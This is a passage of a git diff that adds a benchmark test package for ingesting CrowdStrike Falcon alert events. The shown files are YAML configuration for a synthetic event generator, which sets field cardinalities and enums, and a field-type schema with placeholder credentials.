...test-falcon-audit-events.log-expected.json | 786 ++++ .../pipeline/test-falcon-auth-activity.log | 92 + ...est-falcon-auth-activity.log-expected.json | 190 + .../test-falcon-cspmioa-streaming.log | 26 + ...falcon-cspmioa-streaming.log-expected.json | 94 + .../test-falcon-cspmsearch-streaming.log | 52 + ...con-cspmsearch-streaming.log-expected.json | 76 + .../test-falcon-customer-ioc-event.log | 6 + ...alcon-customer-ioc-event.log-expected.json | 401 ++ ...lcon-data-protection-detection-summary.log | 2 + ...ection-detection-summary.log-expected.json | 247 ++ .../test-falcon-detection-summary.log | 197 + ...falcon-detection-summary.log-expected.json | 383 ++ .../test-falcon-epp-detection-summary.log | 16 + ...on-epp-detection-summary.log-expected.json | 3117 ++++++++++++++ .../_dev/test/pipeline/test-falcon-events.log | 160 + .../test-falcon-events.log-expected.json | 378 ++ .../test/pipeline/test-falcon-firewall.log | 46 + .../test-falcon-firewall.log-expected.json | 118 + ...st-falcon-identity-protection-incident.log | 26 + ...tity-protection-incident.log-expected.json | 65 + .../pipeline/test-falcon-incident-summary.log | 25 + ...-falcon-incident-summary.log-expected.json | 67 + .../test/pipeline/test-falcon-ipd-summary.log | 75 + .../test-falcon-ipd-summary.log-expected.json | 181 + .../test-falcon-mobile-detection-summary.log | 80 + ...mobile-detection-summary.log-expected.json | 196 + .../test-falcon-non-object-dropped.log | 1 + ...alcon-non-object-dropped.log-expected.json | 5 + .../test-falcon-recon-notification.log | 23 + ...alcon-recon-notification.log-expected.json | 53 + .../pipeline/test-falcon-remote-response.log | 30 + ...t-falcon-remote-response.log-expected.json | 120 + .../_dev/test/pipeline/test-falcon-sample.log | 345 ++ .../test-falcon-sample.log-expected.json | 743 ++++ .../test/pipeline/test-falcon-tags-list.log | 31 + .../test-falcon-tags-list.log-expected.json | 73 + .../_dev/test/pipeline/test-falcon-tags.log | 31 + .../test-falcon-tags.log-expected.json | 70 + .../pipeline/test-falcon-user-activity.log | 25 + ...est-falcon-user-activity.log-expected.json | 76 + .../test-falcon-xdr-detection-summary.log | 74 + ...on-xdr-detection-summary.log-expected.json | 190 + .../_dev/test/policy/test-default.expected | 42 + .../falcon/_dev/test/policy/test-default.yml | 9 + .../_dev/test/policy/test-streaming.expected | 61 + .../_dev/test/policy/test-streaming.yml | 10 + .../_dev/test/system/test-logfile-config.yml | 7 + .../test/system/test-streaming-config.yml | 12 + .../falcon/agent/stream/log.yml.hbs | 26 + .../ingest_pipeline/auth_activity_audit.yml | 97 + .../ingest_pipeline/cspm_events.yml | 171 + .../ingest_pipeline/customer_ioc_event.yml | 218 + .../data_protection_detection_summary.yml | 310 ++ .../elasticsearch/ingest_pipeline/default.yml | 669 +++ .../ingest_pipeline/detection_summary.yml | 212 + .../ingest_pipeline/epp_detection_summary.yml | 110 + .../ingest_pipeline/firewall_match.yml | 199 + .../identity_protection_incident.yml | 131 + .../ingest_pipeline/incident_summary.yml | 96 + .../ingest_pipeline/ipd_detection_summary.yml | 286 ++ .../mobile_detection_summary.yml | 123 + .../recon_notification_summary.yml | 94 + .../remote_response_session_end.yml | 71 + .../remote_response_session_start.yml | 71 + .../scheduled_report_notification_event.yml | 70 + .../ingest_pipeline/user_activity_audit.yml | 55 + .../ingest_pipeline/xdr_detection_summary.yml | 243 ++ .../data_stream/falcon/fields/agent.yml | 33 + .../data_stream/falcon/fields/base-fields.yml | 20 + .../data_stream/falcon/fields/beats.yml | 9 + .../data_stream/falcon/fields/ecs.yml | 167 + .../data_stream/falcon/fields/fields.yml | 929 +++++ .../data_stream/falcon/manifest.yml | 111 + .../data_stream/falcon/sample_event.json | 84 + .../docs/README.md | 3601 +++++++++++++++++ ...-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json | 747 ++++ ...-63da2573-4e68-4e7d-a06b-6858edb60fd5.json | 1111 +++++ ...-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json | 1062 +++++ ...-ad80a080-821b-11ee-bae0-937af575b750.json | 1208 ++++++ ...-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json | 2506 ++++++++++++ ...-e64e8fe0-8210-11ee-bae0-937af575b750.json | 1073 +++++ ...-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json | 50 + ...-9b99d190-8214-11ee-bae0-937af575b750.json | 194 + ...-a9e7ff80-8212-11ee-bae0-937af575b750.json | 99 + .../kibana/tags.yml | 4 + .../system_benchmark_crowdstrike/manifest.yml | 105 + .../validation.yml | 7 + 155 files changed, 38068 insertions(+) create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/sample.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/falcon-benchmark/template.ndjson create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/agent/stream/log.yml.hbs create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/auth_activity_audit.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/cspm_events.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/customer_ioc_event.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/default.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/detection_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/epp_detection_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/firewall_match.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/identity_protection_incident.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/incident_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/ipd_detection_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/mobile_detection_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/recon_notification_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_end.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_start.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/scheduled_report_notification_event.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/user_activity_audit.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/xdr_detection_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/agent.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/base-fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/beats.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/ecs.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/sample_event.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-9b99d190-8214-11ee-bae0-937af575b750.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/search/crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml new file mode 100644 index 0000000000..82cc41c36f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml @@ -0,0 +1,27 @@ +--- +description: Benchmark 100000 alert events ingested +input: cel +deployer: docker +vars: + url: http://{{Hostname}}:{{Port}} + client_id: xxxx + client_secret: yyyy + token_url: http://{{Hostname}}:{{Port}}/oauth2/token +data_stream: + name: alert + vars: + enable_request_tracer: true + preserve_original_event: true +warmup_time_period: 2s +corpora: + input_service: + name: crowdstrike + generator: + total_events: 1000 + template: + path: ./alert-benchmark/template.ndjson + type: gotext + config: + path: ./alert-benchmark/config.yml + fields: + path: ./alert-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml new file mode 100644 index 0000000000..f718388107 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml @@ -0,0 +1,105 @@ +fields: + - name: timestamp + period: -24h + - name: agent_id + cardinality: 1000 + - name: alleged_filetype + cardinality: 1000 + - name: cid + cardinality: 10 + - name: comments.falcon_user_id + cardinality: 10000 + - name: confidence + range: + min: 0 + max: 100 + cardinality: 1000 + - name: device.platform_name + enum: + - Windows + - Linux + - Mac + - name: device.agent_load_flags + enum: + - '0' + - '1' + - '2' + - '3' + - name: device.platform_id + enum: + - '0' + - '1' + - '3' + - name: device.device_id + cardinality: 10000 + - name: device.external_ipv6 + value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888 + - name: device.local_ipv6 + value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888 + - name: device.mac_address + value: 00:xx:xx:xx:4D:5E + - name: filename + cardinality: 10000 + - name: hostname + cardinality: 10000 + - name: id + cardinality: 100000 + - name: process_end_time + value: 1737735358 + - name: process_start_time + value: 1737735358 + - name: product + enum: + - cwpp + - data-protection + - epp + - idp + - mobile + - ngsiem + - overwatch + - thirdparty + - xdr + - name: severity_name + enum: + - Low + - Medium + - High + - name: status + enum: + - new + - in_progress + - closed + - reopened + - name: type + enum: + - ldt + - ods + - xdr + - ofp + - ssd + - windows_legacy + - name: tree_root + cardinality: 100000 + - name: tree_id + cardinality: 100000 + - name: username + cardinality: 10000 + - name: user_id + cardinality: 10000 + - name: network_accesses.connection_direction + enum: + - outbound + - inbound + - neither + - name: network_accesses.local_port + range: + min: 10000 + max: 95000 + - name: network_accesses.protocol + enum: + - TCP + - UDP + - name: network_accesses.remote_port + range: + min: 10000 + max: 95000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml new file mode 100644 index 0000000000..a1fa39ee44 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml @@ -0,0 +1,208 @@ +- name: agent_id + type: keyword +- name: aggregate_id + type: keyword +- name: alleged_filetype + type: keyword +- name: cid + type: keyword +- name: cmdline + type: keyword +- name: comment + type: text +- name: comments + type: group + fields: + - name: falcon_user_id + type: keyword + - name: timestamp + type: date + - name: value + type: text +- name: composite_id + type: keyword +- name: confidence + type: integer +- name: control_graph_id + type: keyword +- name: created_timestamp + type: date +- name: description + type: text +- name: device + type: group + fields: + - name: agent_load_flags + type: keyword + - name: agent_local_time + type: date + - name: agent_version + type: keyword + - name: bios_manufacturer + type: keyword + - name: bios_version + type: integer + - name: cid + type: keyword + - name: device_id + type: keyword + - name: external_ip + type: ip + - name: external_ipv6 + type: ip + - name: first_seen + type: date + - name: groups + type: keyword + - name: hostinfo + type: group + fields: + - name: active_directory_dn_display + type: keyword + - name: domain + type: keyword + - name: hostname + type: keyword + - name: host_hidden_status + type: keyword + - name: last_seen + type: keyword + - name: instance_id + type: keyword + - name: local_ip + type: ip + - name: local_ipv6 + type: ip + - name: mac_address + type: keyword + - name: machine_domain + type: keyword + - name: major_version + type: integer + - name: minor_version + type: integer + - name: modified_timestamp + type: date + - name: os_version + type: keyword + - name: ou + type: keyword + - name: platform_id + type: keyword + - name: platform_name + type: keyword + - name: pod_id + type: keyword + - name: pod_labels + type: keyword + - name: pod_name + type: keyword + - name: pod_namespace + type: keyword + - name: pod_service_account_name + type: keyword + - name: product_type + type: keyword + - name: product_type_desc + type: keyword + - name: service_provider + type: keyword + - name: service_provider_account_id + type: keyword + - name: site_name + type: keyword + - name: system_manufacturer + type: keyword + - name: system_product_name + type: keyword + - name: tags + type: keyword +- name: display_name + type: keyword +- name: falcon_host_link + type: keyword +- name: filename + type: keyword +- name: filepath + type: keyword +- name: hostname + type: keyword +- name: id + type: keyword +- name: ioc_source + type: keyword +- name: ioc_type + type: keyword +- name: ioc_value + type: keyword +- name: md5 + type: keyword +- name: network_accesses + type: group + fields: + - name: access_type + type: integer + - name: connection_direction + type: keyword + - name: isIPV6 + type: boolean + - name: local_address + type: ip + - name: local_port + type: integer + - name: protocol + type: keyword + - name: remote_address + type: ip + - name: remote_port + type: integer +- name: objective + type: keyword +- name: parent_process_id + type: integer +- name: pattern_id + type: integer +- name: process_end_time + type: date +- name: process_id + type: integer +- name: process_start_time + type: date +- name: product + type: keyword +- name: scenario + type: keyword +- name: severity + type: integer +- name: severity_name + type: keyword +- name: sha256 + type: keyword +- name: show_in_ui + type: boolean +- name: status + type: keyword +- name: tactic + type: keyword +- name: tactic_id + type: keyword +- name: technique + type: keyword +- name: technique_id + type: keyword +- name: timestamp + type: date +- name: tree_id + type: keyword +- name: tree_root + type: integer +- name: triggering_process_graph_id + type: keyword +- name: type + type: keyword +- name: updated_timestamp + type: date 